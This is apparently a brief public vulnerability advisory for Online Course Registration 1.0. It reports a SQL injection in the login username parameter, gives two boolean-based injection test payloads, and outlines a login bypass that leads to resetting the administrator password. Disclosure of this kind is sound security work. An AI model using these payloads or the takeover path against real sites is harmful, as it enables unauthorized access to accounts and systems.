## Title: 2023-Online-Course-Registration-1.0-Bypass-login-SQLi-RCE-password-changing ## Author: nu11secur1ty ## Date: 05.25.2023 ## Vendor: https://github.com/nikhilkeshava ## Software: https://github.com/nikhilkeshava/online-course-registration- ## Reference: https://portswigger.net/web-security/sql-injection, https://portswigger.net/web-security/sql-injection/lab-login-bypass ## Description: The `username` parameter appears to be vulnerable to SQL injection attacks. The payloads 77834251' or 6127=6127-- and 98762777' or 4535=4542-- were each submitted in the username parameter. These two requests resulted in different responses, indicating that the input is unsafely incorporated into a SQL query. The attacker can use this bypass login vulnerability to send a remote POST request to set a new administrator password for himself, which is absolutely nasty.
